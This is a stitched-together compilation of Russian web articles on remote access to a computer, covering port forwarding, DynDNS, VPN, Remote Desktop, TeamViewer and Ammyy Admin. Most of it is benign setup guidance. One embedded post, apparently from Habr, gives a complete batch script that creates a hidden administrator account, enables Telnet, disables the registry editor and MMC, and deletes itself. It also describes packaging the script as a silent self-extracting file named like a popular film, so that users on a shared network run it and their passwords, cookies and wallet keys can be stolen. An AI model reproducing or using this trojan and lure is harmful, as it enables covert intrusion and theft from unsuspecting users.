Как зайти на компьютер удаленно через интернет – Удалённый доступ к компьютеру через интернет. 2 способа

Удаленный доступ к домашнему компьютеру

Удаленный доступ к домашнему компьютеру, введение в домашние сети, часть 9

Примечание автора: эта статья «Удаленный доступ к домашнему компьютеру — часть продолжающейся серии «Введение в домашние сети».  Для чтения других частей, проверьте связанные истории.

Удаленный доступ к домашнему компьютеру — быстрый способ

Есть кстати более простые и быстрые варианты доступа на домашний компьютер. Я перечислю их ниже:

1. TeamViewer. Достаточно установить эту программу. И при установке выбрать галочку что установить его как сервер и вы хотите удаленно управлять этим компьютером. Особых настроек не требуется, достаточно задать пароль.
2. Ammy Admin — тоже неплохая программа — работает аналогично ТимВьюверу
3. AnyDesk — в настоящий момент пользуюсь ей. Очень удобна чтобы заходить на другие ПК.

Эти программы используют свой облачный прокси, так что вам не нужен белый IP для того, чтобы подключиться к домашнему ПК.

Тут я описал простые и быстрые способы попасть в домашний ПК или ноутбук. А дальше расскажу как организовать это на примере роутера. Это более сложно, правда и возможностей больше.

Удаленный доступ к домашнему компьютеру

Если Вы следили за этой серией, то Вы уже наверняка знаете что я уже обращал Ваше внимание на LAN и WAN порты на маршрутизаторах в части 1 этой серии. И теперь, я расскажу Вам, как Вы можете использовать эту информацию чтобы правильно организовать удаленный доступ к домашнему компьютеру. Например, если Вы знаете, как использовать встроенную функцию Windows «Удаленный рабочий стол», чтобы управлять компьютером из другой комнаты Вашего дома, как насчет того, чтобы организовать подобный доступ с любой точки мира, и спасти себя от необходимости платить за различные службы, такие как LogMeIn или GotoMyPC?

Связанные истории:

Удаленный доступ к домашнему пк — как правильно настроить

Все это возможно, если Вы знаете, как сконфигурировать Ваш домашний маршрутизатор. Чтобы это сделать, необходимо понять несколько вещей,  таких как WAN, LAN, Динамический DNS и Перенаправление портов (иначе Виртуальный сервер). С одной стороны это может показаться непосильной и технически сложной задачей, с другой стороны это довольно просто, если Вы знакомы с веб-интерфейсом маршрутизатора.

И на самом деле, это позволит Вам интересно провести один из выходных дней, и в итоге вы получите неплохую пользу. Просто удостоверьтесь, что Вы всегда сохраняете параметры настройки своего маршрутизатора на свой ПК, прежде чем внести любые изменения.

Получить доступ к Вашему домашнему компьютеру удаленно гораздо проще, чем Вы возможно, думали.

Основные понятия удаленного доступа

WAN

WAN означает Глобальная сеть и является IP-адресом, данным Вам Интернет-провайдером. Этот адрес всегда будет уникальным в Интернете. Дома, когда у Вас есть домашняя сеть с несколькими устройствами, такими как планшеты, компьютеры, и т.д., IP-адрес WAN присвоен Вашему маршрутизатору, что объясняет, почему у всех маршрутизаторов есть WAN (или Интернет) порт. Это — порт, которому присвоен уникальный IP адрес WAN. Другими словами, адрес WAN уникален для каждой домашней (или офисной) сети. В большинстве случаев, дома или офисе, компьютеру нет необходимости использовать IP-адрес WAN, который присваивается маршрутизатору.

Примечание: здесь идет речь об IPv4, в то время как IPv6 уже давно доступен, фактически все Интернет-приложения и службы потребительского класса все еще используют или поддерживают IPv4, и в ближайшем обозримом будущем так оно и будет.

LAN

У каждого устройства, например такого как компьютер, чтобы соединиться с маршрутизатором (и оттуда получить доступ в Интернет), должен быть свой собственный IP-адрес. Этот IP-адрес — LAN (или локальный) адрес, который маршрутизатор присвоил подключенным устройствам с помощью протокола DHCP. Маршрутизатор оставляет IP WAN адрес для себя и затем раздает свое Интернет-подключение всем устройствам, соединенным с ним. Роутер делает это с помощью функции под названием NAT (или преобразование сетевых адресов). Вы не нужно сильно углубляться в NAT — это — просто технология, предназначенная для экономии IP-адресов IPv4. С помощью NAT, домашний маршрутизатор может использовать всего один IP-адрес WAN, чтобы раздать Интернет максимум 254 устройствам.

Чтобы понять различие между адресом WAN и адресом LAN, просто представьте себе, что WAN это название улицы жилого дома, а LAN — номер квартиры в том здании. У различных квартир в отдельных зданиях могут быть одинаковые номера. Но названия их улиц (WAN) всегда уникальны.

Динамический DNS

Если Вы сейчас дома, зайдите на whatismyipaddress.com, и вы увидите Ваш IP-адрес WAN. Теперь, если Вам понадобиться получить удаленный доступ к вашей домашней локальной сети, Вы можете использовать этот адрес. Фактически, если у Вас включена функция удаленного управления на Вашем маршрутизаторе, то именно этот IP-адрес и нужно использовать, чтобы получить доступ к Вашему маршрутизатору из вне.

Примечание: Из соображений безопасности, если Вы решили включить функцию удаленного управления своим домашним маршрутизатором. Она обычно находится в разделе «Администрирование» или «Система» веб-интерфейса маршрутизатора. Так же проверьте, что Вы сменили пароль администратора по умолчанию на что-то более безопасное. И кроме того подумайте о смене номера порта, через который Вы получаете доступ (номер порта по умолчанию 8080). Кроме того, было бы неплохо поменять номера портов по умолчанию для известных служб/приложений.

Теперь зная, что IP-адрес WAN это не просто так. И вдобавок ко всему, большинство домашних тарифных планов идет с динамическим IP-адресом WAN, который периодически изменяется. Лучше перевести тот адрес во что-то постоянное и простое для запоминания. Для этого можно воспользоваться службой Динамический DNS (DynDNS или DDNS). Многие производители, такие как Asus или Synology, предлагают эту услугу бесплатно и ее можно активировать в веб интерфейсе. Также, Вы всегда можете использовать DynDNS.org.

Dynamic DNS от Asus.

Служба DynDNS позволяет Вам создавать пользовательский домен. Например такой как myhome.homefpt.net. Это даст вам  что-то более простое для запоминания, чем непонятные строки чисел и точек. Имя этого домена должно быть уникальным. И если кто то уже занял то имя которое Вы выбрали, Вам придется придумать что-нибудь новое. После того, как пользовательский домен создан, есть несколько способов, с помощью которых Вы можете привязать его к IP-адресу WAN. 1 — запустив клиент DynDNS на компьютере в Вашей домашней сети, затем присоединив его к серверу NAS в домашней сети. 2 — присвоив его домашнему маршрутизатору. Большинство, если не все домашние маршрутизаторы, поддерживают функцию Динамический адрес DNS. И им можно управлять, используя веб-интерфейс Вашего маршрутизатора.

DynDNS — это удобно

Например, если Вы выбрали myhome.homefpt.net в качестве Вашего DynDNS адреса и используете 8080 порт. Это для управления маршрутизатором, когда Вы находитесь вдали от дома. Вы можете просто набрать в браузере myhome.homefpt.net:8080, чтобы получить доступ к интерфейсу Вашего маршрутизатора. Это работает практически со всеми домашними маршрутизаторами, за исключением  Apple.

Подключение с помощью правильно настроенной службы Dynamic DNS.

Перенаправление портов для удаленного доступа

Теперь, когда Вы можете получить доступ к своему домашнему маршрутизатору. И следующим шагом будет пройти мимо Вашего маршрутизатора. И получить доступ к определенному устройству в Вашей домашней сети. Для этого Вам необходимо активировать службу, которая отвечает за удаленный доступ, на Вашем компьютере или ноутбуке. (т.е. удостоверьтесь, что опция Remote Desktop активирована на компьютере). И затем сконфигурируйте маршрутизатор, чтобы перенаправить порт этой службы на Ваш компьютер. У большинства служб есть свой собственный порт по умолчанию. Номером порта по умолчанию для удаленного управления маршрутизатором является 8080. Об этом я упоминал выше. Точно так же есть и порт по умолчанию для Службы удаленного рабочего стола — 3389.

Перенаправление портов или виртуальный серве

Во многих маршрутизаторах функцию перенаправления портов также вызывают Виртуальным сервером. Для того чтобы это настроить, необходимо указать в локальный IP-адрес компьютера. Так же номер порта (или диапазон портов). И сохранить конфигурацию. Например, если у Вашего компьютера Windows будет локальный IP-адрес 192.168.1.100, то перенаправление порта 3389 на этот IP-адрес позволит Вам управлять им. Например используя Удаленный рабочий стол из любой точки мира. Ве с помощью DynDNS адреса, закрепленного за Вашим маршрутизатором. Обратите внимание на то, что программное обеспечение Клиента удаленного рабочего стола доступно для всех версий Windows. И загружаемо для Mac ов. Но только версии Windows, такие как Pro, Business, или Ultimate editions могут использоваться в качестве цели для создания соединения Удаленного рабочего стола.

Вот типичный пример Перенаправления портов для Удаленного рабочего стола в веб-интерфейсе маршрутизатора.

С помощью  DynDNS, Вы можете связать много служб из Вашего дома. Вот несколько портов по умолчанию и их службы: 80 (HTTP, для веб-сервера). 3389 (Удаленный рабочий стол), и 21 (FTP, для Ftp-сервера).

Обратите внимание на то, что локальный IP компьютера (LAN) адрес может также измениться после перезапуска. Можно настроить так, чтобы он остался тем же. Для этого нужно использовать IP (или DHCP) функцию «Reservation». Она позволяет закреплять полученные IP адреса за конкретными устройствами.

На этом все. Спасибо за внимание.

Facebook

Twitter

Вконтакте

Одноклассники

Pinterest

Просмотров сегодня: 982

www.doctorrouter.ru

Удаленный доступ к компьютеру с серым IP адресом через VPN

Удаленный доступ к компьютеру требуется для разных целей – посмотреть файлы, воспользоваться какой-либо установленной на компьютере программой (например — 1С, управление USB камерой и другое), распечатать документ на  принтере и многое другое.

Но что делать, если компьютер расположен дома или в офисе, а удаленного доступа из сети Интернет туда нет?

Наша система VPNKI призвана помочь вам в решении этой задачи прямо сейчас.

Если вас интересует сама услуга по удаленному доступу к компьютеру, то, пожалуйста, перейдите сюда.

 

Об удаленном доступе

Причин в том, что у вас затруднен удаленный доступ к компьютеру может быть несколько и одна из них – отсутствие «белого» IP адреса, назначенного провайдером вашему оборудованию.

Что такое IP адрес и трансляция адресов (NAT) мы описали в предыдущей статье.

Стоит отметить, что сам по себе факт использования трансляции адресов не означает невозможности соединиться с внутренним устройством извне. Отсутствие соединения может быть в том случае, если не прописаны правила трансляции на провайдерском оборудовании для трафика,

приходящего из сети Интернет. При этом трансляции для трафика от пользователя в сеть Интернет существуют и успешно работают.   

 

Представим себе несколько ситуаций:

• Первая – у вас есть белый (реальный) IP адрес, полученный от провайдера

Этот адрес прописан на внешнем интерфейсе вашего маршрутизатора. Например, этот адрес 1.1.1.1. В этом случае, вам необходимо настроить на своем маршрутизаторе правила «проброса портов» на устройства во внутренней сети. То есть, обращаясь из сети Интернет, например, по адресу 1.1.1.1 и порту 80 вы будете попадать на сервер «умного дома», расположенный во внутренней сети. А при обращении по адресу 1.1.1.1 и порту 3389 вы будете попадать на «удаленный рабочий стол компьютера с Windows» при помощи протокола RDP и программы-клиента в любом Windows-компьютере.

 

• Вторая ситуация – на внешнем интерфейсе вашего маршрутизатора прописан «серый» адрес из диапазонов частных сетей

Это означает, что провайдер не может выдать вам реальный IP адрес и он будет осуществлять трансляцию адресов на своем оборудовании. Причина, по которой провайдер может не выдать вам реальный IP адрес проста – у вашего провайдера не так много свободных белых IP адресов.

Осталось проверить какой тип трансляции адресов использует ваш провайдер. Понятно, что для трафика от вашего маршрутизатора в сеть Интернет такая трансляцию будет работать, а как насчет трансляции для входящего трафика? Это можно проверить при помощи обращения к управляющему интерфейсу (в админку) своего маршрутизатора из сети Интернет. Для этого не нужно ничего настраивать, а нужно лишь узнать свой «реальный IP» адрес, в который провайдер осуществляет трансляцию вашего трафика.

Изнутри своей сети зайдите на сайт http://whatismyip.com и запишите ваш внешний адрес. Затем возьмите смартфон, отключите его от домашнего WiFi и воспользуйтесь сетью Интернет, но уже от оператора сотовой связи. В браузере смартфона наберите адрес, который вы записали. Если вы увидите ответ от вашего маршрутизатора, о том, что доступ запрещен или что-то подобное, то это означает, что ваш провайдер осуществляет трансляцию для входящего трафика. (обычно в сообщении об ошибке устройство пишет о себе что-то и вы узнаете свой маршрутизатор).

В этом случае, для организации удаленного доступа к компьютеру в домашней сети вы можете воспользоваться службой Dynamic DNS (например, no-ip.org). Получив доменное имя, вы сможете обращаться по нему из сети Интернет к своему маршрутизатору, а если вы настроите проброс портов, то сможете обращаться и к устройствам внутренней сети.  Простейшим образом будет являться проброс порта TCP 3389 на компьютер с ОС Windows, установленный в домашней сети.

Также вы можете поднять свой собственный VPN сервер на своем маршрутизаторе и получить удаленный доступ не к одному компьютеру в своей сети, а ко всем устройствам сети.

Если обращение со смартфона по внешнему адресу не удалось — вы получили ответ о том, что заданный сервер недоступен или отвечающее устройство не является вашим маршрутизатором, то, скорее всего, ваш провайдер не осуществляет трансляцию адресов для входящего трафика. Тогда переходите к ознакомлению с вариантом 3.

 

• Третья ситуация – на внешнем интерфейсе вашего маршрутизатора «серый» IP адрес и обращение по нему из сети Интернет не приводит к успеху

В такой ситуации необходимо использовать любую внешнюю точку, которая позволит «объединить» соединения от ваших устройств – ведь исходящие соединения у вас устанавливаются успешно. Такой внешней точкой могут быть различные службы сети Интернет, включая широкоизвестные TeamViewer, Hamachi и другие.

Большинство из них создают «виртуальное соединение» от вашего компьютера с установленным приложением до сервера службы в сети Интернет. Такие туннели «объединяются» на сервере службы и пользователи имеют удаленный доступ к компьютеру. Однако, если нужно получить более широкий функционал, чем просто доступ к компьютеру через RDP или VNC вы можете использовать службу VPNKI.

 

Система VPNKI позволяет вам объединить VPN соединения от ваших устройств в единую сеть, не используя при этом никаких сторонних программных продуктов и установленных приложений. Эта особенность позволяет вам не только получить удаленный доступ к компьютеру, но соединить свои маршрутизаторы в единую сеть.

 

Объединив свои устройства в единую сеть, вы сможете получить удаленный доступ не к одному компьютеру в своей сети, а ко всем устройствам сети по их внутренним IP адресам.

Регистрируйтесь и пробуйте!

 

ДОПОЛНИТЕЛЬНО

Кроме базового функционала по объединению VPN туннелей с различными протоколами, в системе VPNKI вы можете воспользоваться удаленным доступом к компьютеру или камере, используя:

 

vpnki.ru

Как подключиться к удаленному компьютеру через Интернет

Благодаря возможностям современных сетей и специальных программ, вы можете легко подключаться к удаленному компьютеру через Интернет из Windows и работать на нем, будто бы вы находитесь за ним. Предположим, вы можете подключаться к рабочему компьютеру из дома и выполнять необходимую работу.

Для того, чтобы подключиться к удаленному компьютеру через Интернет из Windows, прибегнем к помощи стандартной возможности Windows — «Подключение к удаленному рабочему столу«:

1. Нажмем Пуск -> Все программы -> Стандартные -> Подключение к удаленному рабочему столу:
2. Введите IP-адрес или сетевое имя удаленного компьютера в поле «Компьютер» и нажмите на кнопку «Подключить»: Если удаленный компьютер настроен для приема удаленных подключений, то через некоторое время (зависит от вашего Интернет-соединения), у вас на экране развернется удаленный рабочий стол (предварительно вам необходимо будет ввести имя и пароль пользователя, зарегистрированного на удаленном компьютере).

Вы можете прибегнуть к более тонкой настройке соединения для подключения к удаленному компьютеру. Для этого нажмите на кнопку «Параметры»:

На первой вкладке «Общие» вы можете ввести в поле «Пользователь» имя пользователя, под которым вы собираетесь часто подключаться к удаленному компьютеру. А, благодаря разделу «Параметры подключения», мы имеем возможность сохранить созданное нами подключение с желаемыми настройками и использовать его в дальнейшем:

На вкладке «Экран», вы можете отрегулировать размер удаленного рабочего стола

и глубину цветовой палитры (если у вас слабое подключение к Интернет, не ставьте большую глубину цвета. Во многих случаях, хватает и 256 цветов):

Вкладка «Локальные ресурсы», позволит перенести с удаленного компьютера звук, использовать сочетания клавиш и подключить локальные устройства (принтеры), а также использовать буфер обмена:

Если вам будет необходимо, чтобы при подключении к удаленному компьютеру, на нем запускалась какая-либо программа, то ее необходимо указать во вкладке «Программы». Отметьте чекбокс и укажите путь к запускаемой, на удаленном компьютере, программы, а также рабочую папку:

На вкладке «Дополнительно», вы сможете выбрать скорость подключения, а также отключить некоторые ненужные, при подключении, функции (такие как фоновый рисунок, визуальные эффекты и т.д.):

Последняя вкладка — «Подключение», позволит вам настроить параметры проверки подлинности и произвести дополнительную настройку соединения, при подключении через шлюз служб терминалов, которые возможно будут необходимы вам, при

подключении к удаленному компьютеру:

Используя возможность Подключения к удаленному рабочему столу, вы можете легко подключаться к удаленному компьютеру или серверу.

Внимание! Для лучшей безопасности, следует сменить стандартный порт подключения на нестандартный, а также в случае необходимости, разрешить в брандмауэре прохождение (или проброс) пакетов по этим портам.

ithowto.ru

Простейший скрытый способ получить доступ к нужному ПК из домашней сети / Sandbox / Habr

Привет всем, это моя первая статья на хабре, так что не судите строго. В этом посте я опишу как можно получить удаленный доступ к компьютеру пользователя в вашей локальной сети через командную строку, обходя все антивирусы и немного зная синтаксис командной строки Windows. Статья предназначена для использования только на Windows XP, но при желании можно переписать код под любую другую ОС семейства Windows. Итак, приступим. В целом, статья написана для пользователей начального уровня. Самая главная цель — это заполучить нужные данные (пароли, явки, дачи, доступ к почтовым ящикам, файлы ключей webmoney, куки и прочая важная перхоть) и уйти незаметно, не оставив следов проникновения. Итак, начнем, я нахожусь в локальной сети имеющей порядка 5000 пользователей, сеть со статикой или dhcp не имеет значения, мне розан ip адрес и я счастлив. В сети имеется тьма подсетей, роуты которых прописаны на серваке. MAC адрес компа прописан у админа сети, так как в моем случае, это было условие подключения к сетке, таким образом мой мак засветится в случае чего. Во избежание быть найденным, первым делом устанавливаем виртуальную машину (использовал VmWare 5.1), устанавливаем на нее XP, сканер портов (использовал SuperScan 3.00 Скачать можно здесь) и запускаем службу Telnet. Подключаем виртуальную машину к сети с помощью NAT и получаем таким образом совершенно другой mac-адрес машины смотрящей в сеть. Все гуд виртуалку поставили, идем дальше. Открываем обычный блокнот и пишем батник следующего содержания:

@Echo off
Net user Admin_Support lop /add >nul
Net localgroup net localgroup Ђ¤¬Ё­Ёбва в®ал Admin_support /add >nul
Net accounts /maxpwage:unlimited >nul sc config TlntSvr start= auto >nul
Sc start TlntSvr >nul
Reg add «HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList » /v Admin_support /t REG_DWORD /d 0 >null
Reg add »HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System» /v DisableRegistryTools /t Reg_dword /d 1 /f >nul Reg add «HKCU\SOFTWARE\POLICIES\Microsoft\MMC» /v RestrictPemitSnapins /t Reg_dword /d 1 /f >nul del %SestemRoot%\system32\compmgmt.msc >nul
del Start_game.bat

1. Echo off (думаю всем понятно, объяснять не стоит).

2. Net user Admin_Support lop /add >nul Создаем в системе учетную запись с произвольным логином, в примере: Admin_Support и паролем lop. Учетка появится в списке учетных записей пользователей, можно придумать другое имя, к примеру что-то похожее на SUPPORT_388945a0 (учетная запись поставщика для службы справки и поддержки), на которую большинство пользователей не обращают внимания. Есть 1 нюанс мы создали учетку, но ведь она появится при входе в систему у пользователя, необходимо ее скрыть, об этом будет описано ниже.

3. Net localgroup net localgroup Ђ¤¬Ё­Ёбва в®ал Admin_support /add >nul Добавляем учетку Аdmin_support в группу Администраторы, кодировка слова «Администраторы», как у меня в данном случае «Ђ¤¬Ё­Ёбва в®ал» обязательно должна быть в кодировке DOS. Можно сделать в обычном Far’e. Т.е. то слово у меня уже в кодировке dos.

4. Net accounts /maxpwage:unlimited >nul Период времени в днях, в течение которого будет действовать пароль пользователя. Значение unlimited снимает ограничение по времени. Значение параметра /maxpwage должно быть больше, чем значение параметра /minpwage. Допустимы значения от 1 до 49 710 дней (т. е. значение unlimited равно 49 710 дней), по умолчанию используется значение 90 дней.

5. Sc config TlntSvr start= auto >nul Устанавливаем службу телнет в режим запуска «авто».

6. Sc start TlntSvr >nul Стартуем службу телнет.

7.Reg add “HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\UserList ” /v admin_support /t REG_DWORD /d 0 >null Добавляем ключ в реестр, который скроет нашу учетку в записях в панели управления и при входе в винду (Аутентификации).

8. Reg add “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System” /v DisableRegistryTools /t Reg_dword /d 1 /f >nul Запрещаем запуск редактирования реестра. (Можно обойтись и без этого параметра).

9. Reg add “HKCU\SOFTWARE\POLICIES\Microsoft\MMC” /v RestrictPemitSnapins /t REG_DWORD /d 1 /f >nul
del %SestemRoot%\system32\compmgmt.msc >nul Удаляем mmc (Не обязательный параметр).

10. Reg add “HKCU\SOFTWARE\POLICIES\Microsoft\windows\System” /v DisableCMD /t REG_DWORD /d 2 /f >nul Запрещаю запуск командной строки. (Не обязательный параметр.)

11. Del Start_game.bat Удаляем сам батник.

Батник готов. Сохраняем содержимое блокнота как .bat файл, под любым именем, в моем случае это Start_game.bat

Далее делаем из bat файла exe файл с помощью обычного winrar’a. В параметрах winrar’a устанавливаем параметр «создать архив sfx» и «выполнить после распаковки файл» батник «Start_game.bat». Также в настройках создания архива указываем: распаковывать в скрытом режиме. Помимо этого добавляем к батнику, с помощью того же winrar’a иконку к файлу. Жмем создать архив и получаем exe-шник с иконкой. Работа с Winrar также показана в видеоуроке ниже.

З.Ы. Конечно же можно использовать и другие программы для создания exe файла, которые имеют различный нужный функционал, такой как задание размера файла, типа, скрытия окна распаковки и прочих интересных вещей. В данном примере для большей наглядности я использовал WinRAR.

(Делать можно необязательно exe файл можно создать и другие типы файлов).

Итак мы получили файл с именем Start_game.exe, также можно создать более оригинальный файл с актуальным именем, чтобы пользователи увидев его в сети захотели его скачать, например название фильма, который недавно вышел или скоро должен выйти и его все ждут, (например Трансформеры-3HDTVRip.avi) ну и так далее.

Далее расшариваем папку в сети с нашим Start_game.exe. Как только наш юзверь скачает и запустит наш Start_game.exe, сработает наш батник, и удалится. Открываем нашу виртуальную машину и запускаем сканер портов, где указываем диапозон сканирования нашей сети (в моем случае это 10.16.93.1-10.16.93.255) и порт телнета (22 или 23). Сканер покажет у какого ip адреса открыт порт телнета. Если порт открыт, смело подключаемся, открываем командную строку и подключаемся командой: telnet ip_адрес, где вводим наш логин admin_support и пароль lop. тем самым получаем доступ к командной строке юзверя, и делаем СВОЁ ДЕЛО! ))) Умея пользоваться командной строкой, можно найти и скопировать любые файлы на компьютере пользователя, скрыто установить практически любое нужное программное обеспечение, и много еще чего интересного. Для более наглядного понимания статьи выкладываю реальный видеоурок со своей сети. Урок довольно старый, так как занимался я этим довольно давно.

При желании батник можно доработать для более интересных нужд, в данной статье показан лишь простой способ доступа к ПК пользователя без его ведома.

З.Ы. Единственный минус батника — cmd.exe висит в процессах у пользователя в диспетчере задач. Но я думаю это не так страшно, так как обычные пользователи не особо заморачиваются в знании имени процесса в диспетчере задач.

http://www.youtube.com/watch?v=X5GD4Iu91CU&feature=g-upl&context=G2c89d80AUAAAAAAAAAA

habr.com

Удаленный доступ к компьютеру. Как работает Удаленка?

Удаленный доступ к компьютеру или “удалёнка”.

Удаленный доступ или “удалёнка”  (Не путать с Удаленной работой.) позволяет через сеть Интернет сидя за одним компьютером, видеть экран другого компьютера и даже работать на нем. Перемещать мышь по экрану, открывать папки, устанавливать и настраивать программы. Нажатия клавиатуры тоже будут передаваться через интернет на этот компьютер.   Таким образом можно находясь далеко от компьютера выполнять на нем разные работы – “лечить” от вирусов, устанавливать программы, учить пользователя чему-то одновременно показывая ему действия на экране и так далее.

     Такой способ работы за компьютером особенно любим бухгалтерами, которые сидят дома и работают в 1С на удаленном сервере 😉

Теперь разберем технические подробности на примере компьютеров с Windows. Чтобы организовать удаленный доступ к компьютеру можно использовать:

• штатные средства Windows, называющиеся RDP
• стороннее программное обеспечение VNC, TeamViewer,  Ammyy Admin , litemanager и другие.

Штатное средство удаленного доступа для Windows подразумевает прямое соединение с компьютером. То есть, если удаленный компьютер находится во внутренней локальной сети (т.е. интернет к нему приходит через роутер), то организовать доступ к этому компьютеру с интернета можно настраивая роутер.  ……

RDP (англ.Remote Desktop Protocol — протокол удалённого рабочего стола) — проприетарный протокол прикладного уровня, позаимствованный Microsoft из купленной у PictureTel (ныне известной как Polycom) телекоммуникационной программы Liveshare Plus (названной впоследствии NetMeeting), использующийся для обеспечения удалённой работы пользователя с сервером, на котором запущен сервис терминальных подключений. Клиенты существуют практически для всех версий Windows (включая Windows CE, Phone и Mobile), Linux, FreeBSD, Mac OS X, iOS, Android, Symbian. По умолчанию используется порт TCP 3389. Официальное название Майкрософт для клиентского ПО — Remote Desktop Connection или Terminal Services Client (TSC), в частности, клиент в Windows 2k/XP/2003/Vista/2008/7/8 называется mstsc.exe.

Удаленный доступ с Mac OS, iOS. Удалёнка для Mac OS.

Mac App Store — это простейший способ поиска и загрузки приложений для Mac. Значит всё уже придумано до нас – ищите там: 2X Client, Microsoft Remote Desktop, Remmina for Mac OS X. Еще один проект: http://www.litemanager.ru/litemanager_linux_macos_wine/

Как сделать удаленный доступ по RDP?

Чтобы удаленный доступ к компьютеру по RDP заработал нужно:

• чтобы к этому компьютеру был прямой доступ с компьютера, с которого предполагается подключение. Т.е. оба компьютера должны быть в одной локальной сети или роутер должен быть специально настроен для этого (см. проброс портов)
• включить собственно удаленный доступ на компьютере. Щелкаем правой кнопкой “Мой компьютер”, выбираем “Свойства”.  Далее – вкладка “Удаленные сеансы”. Ставим галочку “Разрешить удалённый доступ к этому компьютеру”.  У пользователя под которым будет производиться подключение по RDP обязательно должен быть пароль!

После выполнения этих двух пунктов на компьютере открываем клиент для удаленного подключения по RDP , вводим туда имя удалённого компьютера (или IP адрес) и подключаемся. Как открыть клиент RPD? Клиент открывается так – жмем “пуск”, “выполнить” и вписываем команду:  mstsc   и нажимаем Ентер.  Или ищем пункт “Удалённый рабочий стол” в меню Windows.

Дополнительная информация:

Безопасность. Хорошим вариантом будет смена стандартного порта RDP. Порт по умолчанию – 3389 TCP. Ну а если хотите другой – надо зайти в ключ реестра :

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp

и указать в нём значение PortNumber. Внимание: Если порт будет занят, то возможен конфликт портов!

Проблемы и решения.

Если есть вопросы – пишите в комментарии, отвечу.

 

ydalenka.ru

Настройка удаленного доступа Windows 7

Бывают ситуации, когда пользователь находится далеко от своего компьютера, но ему обязательно нужно к нему подключиться для получения информации или проведения определенной операции. Также юзер может испытывать потребность в посторонней помощи. Для решения подобной проблемы человеку, решившему предоставить такую помощь, нужно произвести удаленное подключение к устройству. Давайте узнаем, как производится настройка удаленного доступа на ПК под управлением Windows 7.

Читайте также: Бесплатные аналоги TeamViewer

Способы настройки удаленного подключения

Большинство задач на ПК можно решить как с помощью сторонних программ, так и воспользовавшись встроенными возможностями операционной системы. Организация удаленного доступа на компьютерах под управлением Виндовс 7 не является тут исключением. Правда, настроить её гораздо легче именно при помощи дополнительного ПО. Давайте рассмотрим конкретные способы реализации поставленной задачи.

Способ 1: TeamViewer

Прежде всего, разберемся, как настроить удаленный доступ при помощи сторонних приложений. И начнем мы с описания алгоритма действий в самой популярной программе, специально предназначенной для изучаемой нами цели – TeamViewer.

1. Нужно запустить TeamViewer на компьютере, к которому вы хотите подключиться. Это должен сделать либо человек, находящийся около него, либо же вы сами заблаговременно, если планируете надолго отлучиться, но знаете, что вам может потребоваться доступ к ПК. При этом в поле «Ваш ID» и «Пароль» отобразятся данные. Их нужно записать, так как они и будут тем ключом, который следует ввести с другого ПК для подключения. При этом ID у данного устройства постоянный, а пароль будет меняться при каждом новом запуске TeamViewer.



2. Активируйте TeamViewer на том компьютере, с которого собираетесь подключаться. В поле ID партнера введите тот девятизначный код, который отображался в поле «Ваш ID» на удаленном ПК. Проследите, чтобы радиокнопка была выставлена в позицию «Удаленное управление». Жмите кнопку «Подключиться к партнеру».



3. Будет произведен поиск удаленного ПК по введенному вами ID. Для успешного завершения поиска нужно в обязательном порядке, чтобы тот компьютер был включен с работающей программой TeamViewer. Если это так, то откроется окошко, в котором вы должны будете ввести четырехзначный пароль. Данный код отображался в поле «Пароль» на удаленном устройстве, о чем уже говорилось выше. После ввода указанного значения в единственное поле окошка щелкайте «Вход в систему».



4. Теперь «Рабочий стол» удаленного компьютера отобразится в отдельном окошке на ПК, около которого вы находитесь в данный момент. Теперь через это окошко вы можете выполнять любые манипуляции с удаленным устройством точно так же, как если бы находились непосредственно за его клавиатурой.

Способ 2: Ammyy Admin

Следующей очень популярной сторонней программой для организации удаленного доступа к ПК является Ammyy Admin. Принцип работы этого инструмента похож на алгоритм действий в TeamViewer.

1. Запустите Ammyy Admin на ПК, к которому будете выполнять подключение. В отличие от TeamViewer, для запуска не нужно даже производить процедуру инсталляции. В левой части открывшегося окна в полях «Ваш ID», «Пароль» и «Ваш IP» отобразятся данные, которые потребуются для процедуры подключения с другого ПК. Пароль нужен будет обязательно, но вторую составляющую для входа (ID или IP компьютера) вы можете выбрать сами.



2. Теперь запустите Ammyy Admin на ПК, с которого будете производить соединение. В правой части окна приложения в поле «ID/IP клиента» введите на свой выбор восьмизначный ID или IP того устройства, с которым желаете соединиться. Как узнать эту информацию, мы рассказали в предыдущем пункте данного способа. Далее жмите на «Подключиться».



3. Открывается окошко ввода пароля. В пустое поле требуется ввести пятизначный код, который отображался в программе Ammyy Admin на удаленном ПК. Далее жмите «OK».



4. Теперь пользователь, который находится около удаленного компьютера, должен подтвердить подключение, нажав в появившемся окне кнопку «Разрешить». Тут же при необходимости, сняв галочки около соответствующих пунктов, он может ограничить выполнение определенных операций.



5. После этого на вашем ПК отобразится «Рабочий стол» удаленного устройства и вы сможете производить на нем те же манипуляции, что и непосредственно за компьютером.

Но, конечно, у вас будет закономерный вопрос, что делать, если около ПК никто не будет находиться, чтобы подтвердить подключение? В таком случае на этом компьютере нужно не только запустить Ammyy Admin, записать его логин и пароль, но и произвести ряд других действий.

1. Щелкайте в меню по пункту «Ammyy». В раскрывшемся перечне выбирайте «Настройки».



2. В появившемся окошке настроек во вкладке «Клиент» щелкайте по кнопке «Права доступа».



3. Открывается окошко «Права доступа». Щелкайте по пиктограмме в виде зеленого значка «+» в нижней его части.



4. Появляется небольшое окошко. В поле «Компьютер ID» нужно вписать ID Ammyy Admin на том ПК, с которого будет производиться доступ к текущему устройству. Поэтому эту информацию нужно узнать заблаговременно. В нижних полях можно вписать пароль, при вводе которого будет выполняться доступ юзера с указанным ID. Но если оставить эти поля пустыми, то при соединении даже не потребуется ввода пароля. Жмите «OK».



5. Указанный ID и его права теперь отображаются в окне «Права доступа». Жмите «OK», но не закрывайте саму программу Ammyy Admin и не отключайте ПК.



6. Теперь, когда вы окажетесь вдалеке, достаточно будет запустить Ammyy Admin на любом поддерживаемом им устройстве и ввести ID или IP того ПК, над которым проводились вышеописанные манипуляции. После нажатия на кнопку «Подключиться» тут же будет произведено соединение без необходимости введения пароля или подтверждения со стороны адресата.

Способ 3: Настройка «Удаленного рабочего стола»

